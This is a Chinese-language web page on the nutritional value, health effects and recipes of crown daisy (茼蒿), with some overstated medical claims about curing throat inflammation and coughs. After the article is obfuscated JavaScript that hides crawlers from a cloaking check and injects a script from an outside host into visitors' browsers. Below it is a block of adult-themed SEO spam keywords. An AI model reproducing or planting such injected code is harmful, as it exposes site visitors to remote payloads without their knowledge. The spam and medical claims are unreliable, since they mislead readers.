<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

      茼蒿素有皇帝菜的美譽 茼蒿的營養(yǎng)價值

      2019-08-02 13:46:44  來源:360常識網(wǎng)   熱度:
      導(dǎo)語:茼蒿素有皇帝菜的美譽,它氣味清香,口感嫩脆,所含營養(yǎng)成分豐富,是現(xiàn)在很多人喜歡吃的蔬菜,茼蒿的幼苗或嫩莖葉可以生炒、涼拌、做湯耐食

      茼蒿素有“皇帝菜”的美譽,它氣味清香,口感嫩脆,所含營養(yǎng)成分豐富,是現(xiàn)在很多人喜歡吃的蔬菜,茼蒿的幼苗或嫩莖葉可以生炒、涼拌、做湯耐食用,味道鮮美,而且有很好營養(yǎng)價值,下面我們就跟隨360常識網(wǎng)來看看茼蒿的功效與作用及禁忌都有哪些。

      茼蒿素有皇帝菜的美譽 茼蒿的營養(yǎng)價值

      1 、消食開胃

      茼蒿中含有多種揮發(fā)性物質(zhì),會散發(fā)出特殊香味,這種特殊香味有助于增加唾液分泌,能夠幫助刺激食欲,消食開胃。并且茼蒿中所含的粗纖維有助于腸道蠕動,促進排便,達到清腸胃的目的。

      2 、潤肺補肝

      茼蒿中富含大量維生素,胡蘿卜素,多種氨基酸,其性味甘平,能起到養(yǎng)心安神,穩(wěn)定情緒,潤肺補肝的功效。

      茼蒿素有皇帝菜的美譽 茼蒿的營養(yǎng)價值

      3、提高免疫力

      茼蒿中所含的營養(yǎng)成分會對人體免疫力造成影響,適當?shù)某砸恍┸磔铮瑢τ谔岣呷梭w免疫力是有好處的。

      4 、利尿消腫

      茼蒿中含有利尿成分,能夠幫助消除體內(nèi)水鈉潴留,有利尿消腫的功效,同時常吃茼蒿還可以消除體內(nèi)的毒素和多余的水分,促進血液和水分代謝。

      5 、止咳化痰

      患有咳嗽痰多,痰粘稠等癥的人群多吃茼蒿是有好處的,茼蒿對咽喉部位有良好的治療作用,有利于治愈局部炎癥,并且能有效解除咽喉部癢感,阻斷咳嗽反射;同時還能稀釋呼吸道炎癥和分泌物的粘稠度,有利于止咳化痰。

      茼蒿素有皇帝菜的美譽 茼蒿的營養(yǎng)價值

      茼蒿的適用人群及禁忌

      茼蒿一般人都可以食用,尤其適合高血壓人群,貧血人群,經(jīng)常進行腦力勞動的人群。需要注意的是,茼蒿辛香滑利,胃虛腹瀉人群不宜多吃。

      茼蒿的營養(yǎng)價值

      茼蒿中含有一種揮發(fā)油有特殊香味,可以刺激人的食欲,起到開胃作用;維生素,胡蘿卜素和多種氨基酸有助于養(yǎng)心安 神,降壓補腦,清熱化痰,潤肺補肝,穩(wěn)定情緒,預(yù)防記憶力減退;粗纖維有助于腸道蠕動,促進排便,通腑利腸;茼蒿所含的脂肪,蛋白質(zhì)和鈉,鉀等礦物鹽能夠 調(diào)節(jié)體內(nèi)水液代謝,利尿消腫;茼蒿中的揮發(fā)性精油和膽堿等物質(zhì)具有降血壓,補腦功效。

      茼蒿素有皇帝菜的美譽 茼蒿的營養(yǎng)價值

      茼蒿的食用方法

      茼蒿常用的烹飪方法是汆湯和涼拌,這樣的吃法有利于腸胃功能不好的人群;茼蒿和肉,蛋等葷菜同食能夠提高維生素A的利用率。需要注意茼蒿中的芳香精油遇熱容易揮發(fā),烹飪時要用旺火快炒。

      涼拌茼蒿

      原料:茼蒿300克,胡蘿卜、青椒末各50克,紫甘藍40克。

      調(diào)料:精鹽、味精、白醋、冷鮮湯、芝麻醬各適量。

      做法:

      1、將茼蒿用清水洗凈,瀝干水分后備用;

      2、胡蘿卜、紫甘藍分別洗凈,控水后切成細絲;

      3、在碗中調(diào)入適量精鹽、味精、醬油、白醋、冷鮮湯、芝麻醬、青椒末拌勻,制成味汁備用;

      4、將茼蒿、胡蘿卜、紫甘藍放入容器中,淋上味汁,拌勻入味后盛入盤中即可。

      功效:健脾除濕,利水通便。

      茼蒿炒豬心

      原料:茼蒿350克,豬心250克,蔥花適量。

      調(diào)料:精鹽、料酒、味精、白糖、食用油各適量。

      做法:

      1、將茼蒿去梗洗凈切段,豬心洗凈切片;

      2、鍋中倒入食用油燒熱,放入蔥花煸炒,投入豬心片煸炒至水干;

      3、往鍋中加入鹽、料酒、白糖,煸炒至熟,放入茼蒿繼續(xù)煸炒至豬心片熟、茼蒿入味,加入味精即可。

      功效:養(yǎng)心安神。適用于心悸、煩躁不安、頭暈失眠、神經(jīng)衰弱等病癥。

      轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 一本色道久久综合| 自拍 偷拍 另类 综合图片| 亚洲精品综合一二三区在线| 久久久久久久综合狠狠综合| 色综合久久中文字幕综合网| 日韩亚洲人成在线综合日本| 亚洲伊人久久综合中文成人网| 精品国产综合区久久久久久| 欧美伊人久久大香线蕉综合69| 久久综合视频网| 一本一道色欲综合网中文字幕| 伊人久久大香线焦综合四虎| 一本久久a久久精品综合夜夜| 色综合久久久久综合99| 中文字幕亚洲综合久久| 狠狠综合久久综合88亚洲| 国产成+人+综合+欧美亚洲| 亚洲综合日韩久久成人AV| 色狠狠色狠狠综合天天| 亚洲狠狠久久综合一区77777 | 色综合网天天综合色中文男男| 久久久久久久综合日本亚洲| 激情五月激情综合网| 色久悠悠婷婷综合在线亚洲| 色爱区综合激情五月综合色| 久久天堂AV综合合色蜜桃网 | 久久久久久久尹人综合网亚洲| 婷婷亚洲综合五月天小说| 婷婷久久综合九色综合九七| 久久久久一级精品亚洲国产成人综合AV区| 欧美激情综合色综合啪啪五月 | 精品亚洲综合在线第一区| 久久精品桃花综合| 久久综合狠狠综合久久综合88| 国产成人精品综合久久久| 亚洲综合五月天| 激情伊人五月天久久综合| 色婷婷综合在线| 久久婷婷五月综合色奶水99啪| 亚洲AV综合色区无码一区| 青青综合在线|